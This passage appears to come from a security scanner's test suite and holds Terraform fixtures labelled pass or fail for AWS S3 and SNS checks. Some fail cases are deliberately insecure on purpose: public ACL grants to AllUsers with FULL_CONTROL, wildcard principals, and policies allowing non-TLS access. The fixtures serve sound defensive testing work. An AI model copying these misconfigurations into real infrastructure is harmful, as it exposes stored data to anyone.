[\r\n        {\r\n            \"Sid\": \"Stmt1597273446725\",\r\n            \"Action\": [\r\n                \"s3:GetObject\"\r\n            ],\r\n            \"Effect\": \"Allow\",\r\n            \"Resource\": \"arn:aws:s3:::bucket/*\",\r\n            \"Principal\": {\r\n                \"AWS\": \"*\"\r\n            },\r\n            \"Condition\": {\r\n              \"ArnEquals\": {\r\n                \"aws:PrincipalArn\": \"arn:aws:iam::*\"\r\n              }\r\n            }\r\n        }\r\n    ]\r\n}\r\nPOLICY\r\n}\r\n\r\nresource \"aws_s3_bucket_policy\" \"fail_w_condition\" {\r\n  bucket = \"bucket\"\r\n\r\n  policy = <<POLICY\r\n{\r\n    \"Id\": \"Policy1597273448050\",\r\n    \"Version\": \"2012-10-17\",\r\n    \"Statement\": [\r\n        {\r\n            \"Sid\": \"Stmt1597273446725\",\r\n            \"Action\": [\r\n                \"s3:GetObject\"\r\n            ],\r\n            \"Effect\": \"Allow\",\r\n            \"Resource\": \"arn:aws:s3:::bucket/*\",\r\n            \"Principal\": {\r\n                \"AWS\": \"*\"\r\n            },\r\n            \"Condition\": {\r\n              \"ArnEquals\": {\r\n                \"aws:PrincipalArn\": \"arn:aws:iam::*\"\r\n              }\r\n            }\r\n        }\r\n    ]\r\n}\r\nPOLICY\r\n}\r\n\r\nresource \"aws_s3_bucket\" \"pass_w_condition3\" {\r\n  bucket = \"bucket\"\r\n\r\n  policy = <<POLICY\r\n{\r\n    \"Id\": \"Policy1597273448050\",\r\n    \"Version\": \"2012-10-17\",\r\n    \"Statement\": [\r\n        {\r\n            \"Sid\": \"Stmt1597273446725\",\r\n            \"Action\": [\r\n                \"s3:GetObject\"\r\n            ],\r\n            \"Effect\": \"Allow\",\r\n            \"Resource\": \"arn:aws:s3:::bucket/*\",\r\n            \"Principal\": \"*\",\r\n            \"Condition\": {\r\n              \"ArnEquals\": {\r\n                \"aws:PrincipalArn\": \"arn:aws:iam::12345555555555:user/username\"\r\n              }\r\n            }\r\n        }\r\n    ]\r\n}\r\nPOLICY\r\n}\r\n\r\nresource \"aws_s3_bucket\" \"pass_w_condition4\" {\r\n  bucket = \"bucket\"\r\n\r\n  policy = <<POLICY\r\n{\r\n  \"Version\": \"2012-10-17\",\r\n  \"Statement\": [\r\n    {\r\n      \"Sid\": \"AllowAccessFromSpecificVpcEndpoint\",\r\n      \"Effect\": \"Allow\",\r\n      \"Principal\": \"*\",\r\n      \"Action\": \"s3:GetObject\",\r\n      \"Resource\": \"arn:aws:s3:::your-bucket-name/*\",\r\n      \"Condition\": {\r\n        \"StringEquals\": {\r\n          \"aws:sourceVpce\": \"vpce-123abc456def7890g\"\r\n        }\r\n      }\r\n    }\r\n  ]\r\n}\r\nPOLICY\r\n}\r\n\r\nresource \"aws_s3_bucket\" \"pass_w_condition5\" {\r\n  bucket = \"bucket\"\r\n\r\n  policy = <<POLICY\r\n{\r\n  \"Version\": \"2012-10-17\",\r\n  \"Statement\": [\r\n    {\r\n      \"Sid\": \"AllowAccessFromSpecificVpcEndpoint\",\r\n      \"Effect\": \"Allow\",\r\n      \"Principal\": \"*\",\r\n      \"Action\": \"s3:GetObject\",\r\n      \"Resource\": \"arn:aws:s3:::your-bucket-name/*\",\r\n      \"Condition\": {\"ArnLike\": {\"aws:SourceArn\": \"arn:aws:cloudtrail:*:111122223333:trail/*\"}}\r\n    }\r\n  ]\r\n}\r\nPOLICY\r\n}\r\n\r\nresource \"aws_s3_bucket\" \"pass_w_condition6\" {\r\n  bucket = aws_s3_bucket.example_bucket.id\r\n\r\n  policy = <<POLICY\r\n{\r\n  \"Version\": \"2012-10-17\",\r\n  \"Statement\": [\r\n    {\r\n      \"Sid\": \"AllowAccessFromSpecificVpcEndpoint\",\r\n      \"Effect\": \"Allow\",\r\n      \"Principal\": \"*\",\r\n      \"Action\": \"s3:GetObject\",\r\n      \"Resource\": \"arn:aws:s3:::your-bucket-name/*\",\r\n      \"Condition\": {\r\n          \"StringLike\": {\r\n            \"aws:PrincipalOrgPath\": \"arn:aws:organizations::*:organization/123456789012*\",\r\n            \"aws:userid\": \"AROAEXAMPLE1234567890123456789\"\r\n          }\r\n        }\r\n    }\r\n  ]\r\n}\r\nPOLICY\r\n}\r\n\r\n# Handle error\r\nresource \"aws_s3_bucket_policy\" \"logs\" {\r\n  bucket = aws_s3_bucket.logs.id\r\n  policy = jsonencode({\r\n    Version = \"2012-10-17\"\r\n    Statement = concat(\r\n      jsondecode(data.aws_iam_policy_document.logs-cloudtrail-policy-acl-check.json).Statement,\r\n      jsondecode(data.aws_iam_policy_document.s3-logs-cloudtrail-policy-write.json).Statement,\r\n      jsondecode(data.aws_iam_policy_document.s3-logs-vpc-flow-logs-policy.json).Statement,\r\n    )\r\n  })\r\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_S3BucketObjectEncryptedWithCMK/aws_s3_bucket_object.tf",
    "content": "\nresource \"aws_s3_bucket_object\" \"pass\" {\n  bucket       = aws_s3_bucket.object_bucket.bucket\n  key          = \"tf-testing-obj-%[1]d-encrypted\"\n  content      = \"Keep Calm and Carry On\"\n  content_type = \"text/plain\"\n  kms_key_id   = aws_kms_key.example.arn\n}\n\n\nresource \"aws_s3_bucket_object\" \"fail\" {\n  bucket       = aws_s3_bucket.object_bucket.bucket\n  key          = \"tf-testing-obj-%[1]d-encrypted\"\n  content      = \"Keep Calm and Carry On\"\n  content_type = \"text/plain\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_S3BucketObjectLock/main.tf",
    "content": "# pass\n\nresource \"aws_s3_bucket\" \"enabled_via_object\" {\n  bucket = \"test-bucket\"\n  acl    = \"private\"\n\n  object_lock_configuration = {\n    object_lock_enabled = \"Enabled\"\n  }\n}\n\nresource \"aws_s3_bucket\" \"enabled_via_block\" {\n  bucket = \"test-bucket\"\n  acl    = \"private\"\n\n  object_lock_configuration {\n    object_lock_enabled = \"Enabled\"\n  }\n}\n\n# failure\n\nresource \"aws_s3_bucket\" \"disabled_via_object\" {\n  bucket = \"test-bucket\"\n  acl    = \"private\"\n\n  object_lock_configuration = {\n    object_lock_enabled = \"Disabled\"\n  }\n}\n\nresource \"aws_s3_bucket\" \"disabled_via_block\" {\n  bucket = \"test-bucket\"\n  acl    = \"private\"\n\n  object_lock_configuration {\n    object_lock_enabled = \"Disabled\"\n  }\n}\n\n# unknown\n\nresource \"aws_s3_bucket\" \"default\" {\n  bucket = \"test-bucket\"\n  acl    = \"private\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_S3GlobalViewACL/main.tf",
    "content": "# fail 2 bad\nresource \"aws_s3_bucket_acl\" \"fail\" {\n  depends_on = [aws_s3_bucket_ownership_controls.example]\n\n  bucket = aws_s3_bucket.example.id\n  access_control_policy {\n    grant {\n      grantee {\n        type = \"Group\"\n        uri  = \"http://acs.amazonaws.com/groups/global/AllUsers\"\n      }\n      permission = \"FULL_CONTROL\"\n    }\n\n    grant {\n      grantee {\n        type = \"Group\"\n        uri  = \"http://acs.amazonaws.com/groups/global/AllUsers\"\n      }\n      permission = \"READ_ACP\"\n    }\n\n    owner {\n      id = data.aws_canonical_user_id.current.id\n    }\n  }\n}\n\n# fail 1 good, 1 bad\nresource \"aws_s3_bucket_acl\" \"fail2\" {\n  depends_on = [aws_s3_bucket_ownership_controls.example]\n\n  bucket = aws_s3_bucket.example.id\n  access_control_policy {\n    grant {\n      grantee {\n        type = \"Group\"\n        uri  = \"http://acs.amazonaws.com/groups/global/Other\"\n      }\n      permission = \"FULL_CONTROL\"\n    }\n\n    grant {\n      grantee {\n        type = \"Group\"\n        uri  = \"http://acs.amazonaws.com/groups/global/AllUsers\"\n      }\n      permission = \"READ_ACP\"\n    }\n\n    owner {\n      id = data.aws_canonical_user_id.current.id\n    }\n  }\n}\n\n# pass 2 other uris\nresource \"aws_s3_bucket_acl\" \"pass\" {\n  depends_on = [aws_s3_bucket_ownership_controls.example]\n\n  bucket = aws_s3_bucket.example.id\n  access_control_policy {\n    grant {\n      grantee {\n        type = \"Group\"\n        uri  = \"http://acs.amazonaws.com/groups/global/Other\"\n      }\n      permission = \"FULL_CONTROL\"\n    }\n\n    grant {\n      grantee {\n        type = \"Group\"\n        uri  = \"http://acs.amazonaws.com/groups/global/Other\"\n      }\n      permission = \"READ_ACP\"\n    }\n\n    owner {\n      id = data.aws_canonical_user_id.current.id\n    }\n  }\n}\n\n# pass 2 other permissions\nresource \"aws_s3_bucket_acl\" \"pass2\" {\n  depends_on = [aws_s3_bucket_ownership_controls.example]\n\n  bucket = aws_s3_bucket.example.id\n  access_control_policy {\n    grant {\n      grantee {\n        type = \"Group\"\n        uri  = \"http://acs.amazonaws.com/groups/global/AllUsers\"\n      }\n      permission = \"READ\"\n    }\n\n    grant {\n      grantee {\n        type = \"Group\"\n        uri  = \"http://acs.amazonaws.com/groups/global/AllUsers\"\n      }\n      permission = \"READ\"\n    }\n\n    owner {\n      id = data.aws_canonical_user_id.current.id\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_S3ObjectCopyEncryptedWithCMK/aws_s3_object_copy.tf",
    "content": "resource \"aws_s3_object_copy\" \"pass\" {\n  bucket             = aws_s3_bucket.target.bucket\n  bucket_key_enabled = true\n  key                = \"test\"\n  kms_key_id         = aws_kms_key.test.arn\n  source             = \"${aws_s3_bucket.source.bucket}/${aws_s3_bucket_object.source.key}\"\n}\n\nresource \"aws_s3_object_copy\" \"fail\" {\n  bucket             = aws_s3_bucket.target.bucket\n  bucket_key_enabled = true\n  key                = \"test\"\n  source             = \"${aws_s3_bucket.source.bucket}/${aws_s3_bucket_object.source.key}\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_S3ProtectAgainstPolicyLockout/main.tf",
    "content": "#fail\nresource \"aws_s3_bucket\" \"deprecated\" {\n  bucket = \"bucket\"\n\n  policy = <<POLICY\n        {\n        \"Version\": \"2012-10-17\",\n        \"Statement\": [\n            {\n            \"Principal\": {\n                \"AWS\": [\n                \"*\"\n                ]\n            },\n            \"Effect\": \"Deny\",\n            \"Action\": [\n                \"s3:*\"\n            ],\n            \"Resource\": [\n                \"*\"\n            ]\n            }\n        ]\n        }\n        POLICY\n}\n\n#jsonencode\n\nresource \"aws_s3_bucket_policy\" \"failjsonencode\" {\n  bucket = \"bucket\"\n\n  policy = jsonencode({\n            \"Version\": \"2012-10-17\",\n            \"Statement\": [{\n                \"Principal\": {\n                    \"AWS\": [\n                        \"*\"\n                    ]\n                },\n                \"Effect\": \"Deny\",\n                \"Action\": \"s3:*\",\n                \"Resource\": [\n                    \"*\"\n                ]\n            }]\n        })\n}\n\nresource \"aws_s3_bucket_policy\" \"multi_statement_fail\" {\n  bucket = \"bucket\"\n\n  policy = <<POLICY\n        {\n            \"Id\": \"Policy1597273448050\",\n            \"Version\": \"2012-10-17\",\n            \"Statement\": [\n                {\n                    \"Sid\": \"Stmt1597273446725\",\n                    \"Action\": [\n                        \"s3:GetObject\"\n                    ],\n                    \"Effect\": \"Deny\",\n                    \"Resource\": \"arn:aws:s3:::bucket/*\",\n                    \"Principal\": {\n                        \"AWS\": \"some_arn\"\n                    }\n                },\n                {\n                    \"Principal\": {\n                      \"AWS\": [\n                        \"*\"\n                      ]\n                    },\n                    \"Effect\": \"Deny\",\n                    \"Action\": \"s3:*\",\n                    \"Resource\": [\n                        \"*\"\n                    ]\n                }\n            ]\n        }\n        POLICY\n}\n\nresource \"aws_s3_bucket_policy\" \"fail\" {\n  bucket = \"bucket\"\n\n  policy = <<POLICY\n        {\n            \"Version\": \"2012-10-17\",\n            \"Statement\": [{\n                \"Principal\": {\n                    \"AWS\": [\n                        \"*\"\n                    ]\n                },\n                \"Effect\": \"Deny\",\n                \"Action\": \"s3:*\",\n                \"Resource\": [\n                    \"*\"\n                ]\n            }]\n        }\n        POLICY\n}\n\nresource \"aws_s3_bucket\" \"deprecated2\" {\n  bucket = \"bucket\"\n\n  policy = <<POLICY\n        {\n        \"Version\": \"2012-10-17\",\n        \"Statement\": [\n            {\n            \"Principal\": \"*\",\n            \"Effect\": \"Deny\",\n            \"Action\": \"s3:*\"\n            }\n        ]\n        }\n        POLICY\n}\n\n#pass\nresource \"aws_s3_bucket_policy\" \"baddata\" {\n  bucket = \"bucket\"\n\n  policy = \"\"\n}\n\nresource \"aws_s3_bucket_policy\" \"pass3\" {\n  bucket = \"bucket\"\n\n  policy = <<POLICY\n        {\n            \"Id\": \"Policy1597273448050\",\n            \"Version\": \"2012-10-17\",\n            \"Statement\": [\n                {\n                    \"Sid\": \"Stmt1597273446725\",\n                    \"Action\": [\n                        \"s3:GetObject\"\n                    ],\n                    \"Resource\": \"arn:aws:s3:::bucket/*\",\n                    \"Principal\": {\n                        \"AWS\": \"some_arn\"\n                    }\n                    \"Effect\": \"Deny\"\n                }\n            ]\n        }\n        POLICY\n}\n\nresource \"aws_s3_bucket_policy\" \"pass4\" {\n  bucket = \"bucket\"\n\n  policy = <<POLICY\n        {\n            \"Id\": \"Policy1597273448050\",\n            \"Version\": \"2012-10-17\",\n            \"Statement\": [\n                {\n                    \"Sid\": \"Stmt1597273446725\",\n                    \"NotAction\": [\n                        \"s3:GetObject\"\n                    ],\n                    \"Effect\": \"Deny\",\n                    \"Resource\": \"arn:aws:s3:::bucket/*\",\n                    \"Principal\": {\n                        \"AWS\": \"some_arn\"\n                    }\n                }\n            ]\n        }\n        POLICY\n}\n\nresource \"aws_s3_bucket_policy\" \"pass2\" {\n  bucket = \"bucket\"\n\n  policy = <<POLICY\n        {\n            \"Id\": \"Policy1597273448050\",\n            \"Version\": \"2012-10-17\",\n            \"Statement\": [\n                {\n                    \"Sid\": \"Stmt1597273446725\",\n                    \"Action\": [\n                        \"s3:GetObject\"\n                    ],\n                    \"Effect\": \"Deny\",\n                    \"Resource\": \"arn:aws:s3:::bucket/*\",\n                    \"Principal\": {\n                        \"AWS\": \"some_arn\"\n                    }\n                }\n            ]\n        }\n        POLICY\n}\n\nresource \"aws_s3_bucket_policy\" \"pass\" {\n  bucket = \"bucket\"\n\n  policy = <<POLICY\n        {\n            \"Id\": \"Policy1597273448050\",\n            \"Version\": \"2012-10-17\",\n            \"Statement\": {\n                    \"Sid\": \"Stmt1597273446725\",\n                    \"Action\": [\n                        \"s3:GetObject\"\n                    ],\n                    \"Effect\": \"Deny\",\n                    \"Resource\": \"arn:aws:s3:::bucket/*\",\n                    \"Principal\": {\n                        \"AWS\": \"some_arn\"\n                    }\n                }\n        }\n        POLICY\n}\n\nresource \"aws_s3_bucket_policy\" \"pass5\" {\n  bucket = \"bucket\"\n\n  policy = <<POLICY\n{\n    \"Id\": \"Policy1597273448050\",\n    \"Version\": \"2012-10-17\",\n    \"Statement\": {\n        \"Sid\": \"Stmt1597273446725\",\n        \"Action\": [\n            \"s3:DeleteObject\",\n            \"s3:DeleteObjectVersion\"\n        ],\n        \"Effect\": \"Deny\",\n        \"Resource\": \"arn:aws:s3:::bucket/*\",\n        \"Principal\": \"*\"\n    }\n}\nPOLICY\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_S3SecureDataTransport/main.tf",
    "content": "# Pass: not public\nresource \"aws_s3_bucket_acl\" \"pass_private\" {\n  depends_on = [\n    aws_s3_bucket_ownership_controls.pass_private,\n    aws_s3_bucket_public_access_block.pass_private,\n  ]\n\n  bucket = aws_s3_bucket.pass_private.id\n  acl    = \"private\"\n}\n\n# Pass: public but restricted\nresource \"aws_s3_bucket_public_access_block\" \"pass_restricted\" {\n  bucket = aws_s3_bucket.pass_restricted.id\n\n  block_public_acls       = false\n  block_public_policy     = false\n  ignore_public_acls      = false\n  restrict_public_buckets = true\n}\n\nresource \"aws_s3_bucket_acl\" \"pass_restricted\" {\n  depends_on = [\n    aws_s3_bucket_ownership_controls.pass_restricted,\n    aws_s3_bucket_public_access_block.pass_restricted,\n  ]\n\n  bucket = aws_s3_bucket.pass_restricted.id\n  acl    = \"public-read\"\n}\n\n# Pass: public grant, but blocked\nresource \"aws_s3_bucket_acl\" \"pass_grant_blocked\" {\n  depends_on = [aws_s3_bucket_ownership_controls.pass_grant_blocked]\n\n  bucket = aws_s3_bucket.pass_grant_blocked.id\n  access_control_policy {\n    grant {\n      grantee {\n        id   = data.aws_canonical_user_id.pass_grant_blocked.id\n        type = \"CanonicalUser\"\n      }\n      permission = \"READ\"\n    }\n\n    grant {\n      grantee {\n        type = \"Group\"\n        uri  = \"http://acs.amazonaws.com/groups/global/AllUsers\"\n      }\n      permission = \"READ_ACP\"\n    }\n\n    owner {\n      id = data.aws_canonical_user_id.pass_grant_blocked.id\n    }\n  }\n}\n\nresource \"aws_s3_bucket_public_access_block\" \"pass_grant_blocked\" {\n  bucket = aws_s3_bucket.pass_grant_blocked.id\n\n  block_public_acls       = true\n  block_public_policy     = false\n  ignore_public_acls      = true\n  restrict_public_buckets = true\n}\n\n# Pass: website bucket\nresource \"aws_s3_bucket_public_access_block\" \"pass_website\" {\n  bucket = aws_s3_bucket.pass_website.id\n\n  block_public_acls       = false\n  block_public_policy     = false\n  ignore_public_acls      = false\n  restrict_public_buckets = false\n}\n\nresource \"aws_s3_bucket_acl\" \"pass_website\" {\n  depends_on = [\n    aws_s3_bucket_ownership_controls.pass_website,\n    aws_s3_bucket_public_access_block.pass_website,\n  ]\n\n  bucket = aws_s3_bucket.pass_website.id\n  acl    = \"public-read\"\n}\n\nresource \"aws_s3_bucket_website_configuration\" \"pass_website\" {\n  bucket = aws_s3_bucket.pass_website.id\n}\n\n# Fail: data policy\nresource \"aws_s3_bucket_public_access_block\" \"fail1\" {\n  bucket = aws_s3_bucket.fail1.id\n\n  block_public_acls       = false\n  block_public_policy     = false\n  ignore_public_acls      = false\n  restrict_public_buckets = false\n}\n\nresource \"aws_s3_bucket_acl\" \"fail1\" {\n  depends_on = [\n    aws_s3_bucket_ownership_controls.fail1,\n    aws_s3_bucket_public_access_block.fail1,\n  ]\n\n  bucket = aws_s3_bucket.fail1.id\n  acl    = \"public-read\"\n}\n\nresource \"aws_s3_bucket_policy\" \"fail1\" {\n  bucket = aws_s3_bucket.fail1.id\n  policy = data.aws_iam_policy_document.fail1.json\n}\n\ndata \"aws_iam_policy_document\" \"fail1\" {\n  statement {\n    principals {\n      type        = \"AWS\"\n      identifiers = [\"123456789012\"]\n    }\n\n    actions = [\n      \"s3:GetObject\",\n      \"s3:ListBucket\",\n    ]\n\n    resources = [\n      aws_s3_bucket.fail1.arn,\n    ]\n  }\n}\n\n# Pass: data policy\nresource \"aws_s3_bucket_public_access_block\" \"pass_policy1\" {\n  bucket = aws_s3_bucket.pass_policy1.id\n\n  block_public_acls       = false\n  block_public_policy     = false\n  ignore_public_acls      = false\n  restrict_public_buckets = false\n}\n\nresource \"aws_s3_bucket_acl\" \"pass_policy1\" {\n  depends_on = [\n    aws_s3_bucket_ownership_controls.pass_policy1,\n    aws_s3_bucket_public_access_block.pass_policy1,\n  ]\n\n  bucket = aws_s3_bucket.pass_policy1.id\n  acl    = \"public-read\"\n}\n\nresource \"aws_s3_bucket_policy\" \"pass_policy1\" {\n  bucket = aws_s3_bucket.pass_policy1.id\n  policy = data.aws_iam_policy_document.pass_policy1.json\n}\n\ndata \"aws_iam_policy_document\" \"pass_policy1\" {\n  statement {\n    principals {\n      type        = \"AWS\"\n      identifiers = [\"123456789012\"]\n    }\n\n    actions = [\n      \"s3:GetObject\",\n      \"s3:ListBucket\",\n    ]\n\n    resources = [\n      aws_s3_bucket.pass_policy1.arn,\n    ]\n\n    condition {\n      test     = \"Bool\"\n      variable = \"aws:SecureTransport\"\n\n      values = [\n        \"true\",\n      ]\n    }\n  }\n}\n\n# Pass: inline policy\nresource \"aws_s3_bucket_public_access_block\" \"pass_policy2\" {\n  bucket = aws_s3_bucket.pass_policy2.id\n\n  block_public_acls       = false\n  block_public_policy     = false\n  ignore_public_acls      = false\n  restrict_public_buckets = false\n}\n\nresource \"aws_s3_bucket_acl\" \"pass_policy2\" {\n  depends_on = [\n    aws_s3_bucket_ownership_controls.pass_policy2,\n    aws_s3_bucket_public_access_block.pass_policy2,\n  ]\n\n  bucket = aws_s3_bucket.pass_policy2.id\n  acl    = \"public-read\"\n}\n\nresource \"aws_s3_bucket_policy\" \"pass_policy2\" {\n  bucket = aws_s3_bucket.pass_policy2.id\n\n  policy = jsonencode({\n    Version = \"2012-10-17\"\n    Id      = \"MYBUCKETPOLICY\"\n    Statement = [\n      {\n        Sid       = \"IPAllow\"\n        Effect    = \"Deny\"\n        Principal = \"*\"\n        Action    = \"s3:*\"\n        Resource = [\n          aws_s3_bucket.pass_policy2.arn\n        ]\n        Condition = {\n          IpAddress = {\n            \"aws:SourceIp\" = \"8.8.8.8/32\"\n          }\n        }\n      },\n      {\n        Sid       = \"DenyInsecureTransport\"\n        Effect    = \"Deny\"\n        Principal = \"*\"\n        Action    = \"s3:*\"\n        Resource = [\n          aws_s3_bucket.pass_policy2.arn\n        ]\n        Condition = {\n          Bool = {\n            \"aws:SecureTransport\" = \"false\"\n          }\n        }\n      }\n    ]\n  })\n}\n\n# Pass: inline policy\nresource \"aws_s3_bucket_public_access_block\" \"pass_policy3\" {\n  bucket = aws_s3_bucket.pass_policy3.id\n\n  block_public_acls       = false\n  block_public_policy     = false\n  ignore_public_acls      = false\n  restrict_public_buckets = false\n}\n\nresource \"aws_s3_bucket_acl\" \"pass_policy3\" {\n  depends_on = [\n    aws_s3_bucket_ownership_controls.pass_policy3,\n    aws_s3_bucket_public_access_block.pass_policy3,\n  ]\n\n  bucket = aws_s3_bucket.pass_policy3.id\n  acl    = \"public-read\"\n}\n\nresource \"aws_s3_bucket_policy\" \"pass_policy2\" {\n  bucket = aws_s3_bucket.pass_policy3.id\n\n  policy = jsonencode({\n    Version = \"2012-10-17\"\n    Id      = \"MYBUCKETPOLICY\"\n    Statement = [\n      {\n        Sid       = \"IPAllow\"\n        Effect    = \"Deny\"\n        Principal = \"*\"\n        Action    = \"s3:*\"\n        Resource = [\n          aws_s3_bucket.pass_policy3.arn\n        ]\n        Condition = {\n          IpAddress = {\n            \"aws:SourceIp\" = \"8.8.8.8/32\"\n          }\n        }\n      },\n      {\n        Sid       = \"DenyInsecureTransport\"\n        Effect    = \"Allow\"\n        Principal = \"*\"\n        Action    = \"s3:*\"\n        Resource = [\n          aws_s3_bucket.pass_policy3.arn\n        ]\n        Condition = {\n          Bool = {\n            \"aws:SecureTransport\" = \"true\"\n          }\n        }\n      }\n    ]\n  })\n}\n\n# Fail: inline policy\nresource \"aws_s3_bucket_public_access_block\" \"fail2\" {\n  bucket = aws_s3_bucket.fail2.id\n\n  block_public_acls       = false\n  block_public_policy     = false\n  ignore_public_acls      = false\n  restrict_public_buckets = false\n}\n\nresource \"aws_s3_bucket_acl\" \"fail2\" {\n  depends_on = [\n    aws_s3_bucket_ownership_controls.fail2,\n    aws_s3_bucket_public_access_block.fail2,\n  ]\n\n  bucket = aws_s3_bucket.fail2.id\n  acl    = \"public-read\"\n}\n\nresource \"aws_s3_bucket_policy\" \"fail2\" {\n  bucket = aws_s3_bucket.fail2.id\n\n  policy = jsonencode({\n    Version = \"2012-10-17\"\n    Id      = \"MYBUCKETPOLICY\"\n    Statement = [\n      {\n        Sid       = \"IPAllow\"\n        Effect    = \"Deny\"\n        Principal = \"*\"\n        Action    = \"s3:*\"\n        Resource = [\n          aws_s3_bucket.fail2.arn\n        ]\n        Condition = {\n          IpAddress = {\n            \"aws:SourceIp\" = \"8.8.8.8/32\"\n          }\n        }\n      },\n      {\n        Sid       = \"DenyInsecureTransport\"\n        Effect    = \"Allow\"\n        Principal = \"*\"\n        Action    = \"s3:*\"\n        Resource = [\n          aws_s3_bucket.fail2.arn\n        ]\n        Condition = {\n          Bool = {\n            \"aws:SecureTransport\" = \"false\"\n          }\n        }\n      }\n    ]\n  })\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_SNSCrossAccountAccess/main.tf",
    "content": "# fail\nresource \"aws_sns_topic_policy\" \"fail0\" {\n  arn = aws_sns_topic.test.arn\n\n  policy = <<POLICY\n{\n    \"Version\":\"2012-10-17\",\n    \"Statement\":[\n       {\n           \"Principal\": {\n            \"AWS\": [\n                \"arn:aws:iam::123456789101:role/sns\"\n            ]\n          },\n          \"Effect\": \"Allow\",\n          \"Action\": [\n            \"SNS:Subscribe\",\n            \"SNS:SetTopicAttributes\",\n            \"SNS:RemovePermission\",\n            \"SNS:Receive\",\n            \"SNS:Publish\",\n            \"SNS:ListSubscriptionsByTopic\",\n            \"SNS:GetTopicAttributes\",\n            \"SNS:DeleteTopic\",\n            \"SNS:AddPermission\",\n          ],\n          \"Resource\": \"${aws_sns_topic.test.arn}\"\n       }\n    ]\n}\nPOLICY\n}\n\nresource \"aws_sns_topic_policy\" \"fail1\" {\n  arn = aws_sns_topic.test.arn\n\n  policy = <<POLICY\n{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"AllowS3ToPublish\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"Service\": \"s3.amazonaws.com\"\n            },\n            \"Action\": \"SNS:Publish\",\n            \"Resource\": \"${aws_sns_topic.test.arn}\",\n            \"Condition\": {\n                \"ArnLike\": {\n                    \"aws:SourceArn\": \"arn:aws:s3:::your-s3-bucket-name/*\"\n                },\n                \"StringEquals\": {\n                    \"aws:SourceAccount\": \"${data.aws_caller_identity.current.account_id}\"\n                }\n            }\n        },\n        {\n            \"Sid\": \"AllowOriginalAccess\",\n            \"Principal\": {\n              \"AWS\": [\n                  \"arn:aws:iam::123456789101:role/sns\"\n              ]\n            },\n            \"Effect\": \"Allow\",\n            \"Action\": [\n                \"SNS:Subscribe\",\n                \"SNS:SetTopicAttributes\",\n                \"SNS:RemovePermission\",\n                \"SNS:Receive\",\n                \"SNS:Publish\",\n                \"SNS:ListSubscriptionsByTopic\",\n                \"SNS:GetTopicAttributes\",\n                \"SNS:DeleteTopic\",\n                \"SNS:AddPermission\"\n            ],\n            \"Resource\": \"${aws_sns_topic.test.arn}\"\n        }\n    ]\n}\nPOLICY\n}\n\n\n\n# pass\nresource \"aws_sns_topic_policy\" \"pass0\" {\n  arn = aws_sns_topic.test.arn\n\n  policy = <<POLICY\n{\n    \"Version\":\"2012-10-17\",\n    \"Statement\":[\n       {\n           \"Principal\": {\n            \"AWS\": [\n                \"*\"\n            ]\n          },\n          \"Effect\": \"Allow\",\n          \"Action\": [\n            \"SNS:Subscribe\",\n            \"SNS:SetTopicAttributes\",\n            \"SNS:RemovePermission\",\n            \"SNS:Receive\",\n            \"SNS:Publish\",\n            \"SNS:ListSubscriptionsByTopic\",\n            \"SNS:GetTopicAttributes\",\n            \"SNS:DeleteTopic\",\n            \"SNS:AddPermission\",\n          ],\n          \"Resource\": \"${aws_sns_topic.test.arn}\"\n       }\n    ]\n}\nPOLICY\n}\n\nresource \"aws_sns_topic_policy\" \"pass1\" {\n  arn = aws_sns_topic.test.arn\n\n  policy = <<POLICY\n{\n    \"Version\":\"2012-10-17\",\n    \"Statement\":[\n       {\n          \"Principal\": \"*\",\n          \"Effect\": \"Allow\",\n          \"Action\": [\n            \"SNS:Subscribe\",\n            \"SNS:SetTopicAttributes\",\n            \"SNS:RemovePermission\",\n            \"SNS:Receive\",\n            \"SNS:Publish\",\n            \"SNS:ListSubscriptionsByTopic\",\n            \"SNS:GetTopicAttributes\",\n            \"SNS:DeleteTopic\",\n            \"SNS:AddPermission\",\n          ],\n          \"Resource\": \"${aws_sns_topic.test.arn}\"\n       }\n    ]\n}\nPOLICY\n}\n\nresource \"aws_sns_topic_policy\" \"pass2\" {\n  arn = aws_sns_topic.test.arn\n\n  policy = <<POLICY\n{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"AllowS3ToPublish\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"Service\": \"s3.amazonaws.com\"\n            },\n            \"Action\": \"SNS:Publish\",\n            \"Resource\": \"${aws_sns_topic.test.arn}\",\n            \"Condition\": {\n                \"ArnLike\": {\n                    \"aws:SourceArn\": \"arn:aws:s3:::your-s3-bucket-name/*\"\n                },\n                \"StringEquals\": {\n                    \"aws:SourceAccount\": \"${data.aws_caller_identity.current.account_id}\"\n                }\n            }\n        },\n        {\n            \"Sid\": \"AllowOriginalAccess\",\n            \"Principal\": {\n              \"AWS\": [\n                  \"arn:aws:iam::123456789101:role/sns\"\n              ]\n            },\n            \"Effect\": \"Allow\",\n            \"Action\": [\n                \"SNS:Subscribe\",\n                \"SNS:SetTopicAttributes\",\n                \"SNS:RemovePermission\",\n                \"SNS:Receive\",\n                \"SNS:Publish\",\n                \"SNS:ListSubscriptionsByTopic\",\n                \"SNS:GetTopicAttributes\",\n                \"SNS:DeleteTopic\",\n                \"SNS:AddPermission\"\n            ],\n            \"Resource\": \"${aws_sns_topic.test.arn}\",\n            \"Condition\": {\n                \"ArnEquals\": {\n                    \"aws:PrincipalArn\": \"arn:aws:iam::123456789101:role/sns\"\n                }\n            }\n        }\n    ]\n}\nPOLICY\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_SNSTopicEncryption/main.tf",
    "content": "# pass\n\nresource \"aws_sns_topic\" \"enabled\" {\n  name = \"example\"\n\n  kms_master_key_id = \"aws_kms_key.arn\"\n}\n\n# fail\n\nresource \"aws_sns_topic\" \"default\" {\n  name = \"example\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_SNSTopicPolicyAnyPrincipal/main.tf",
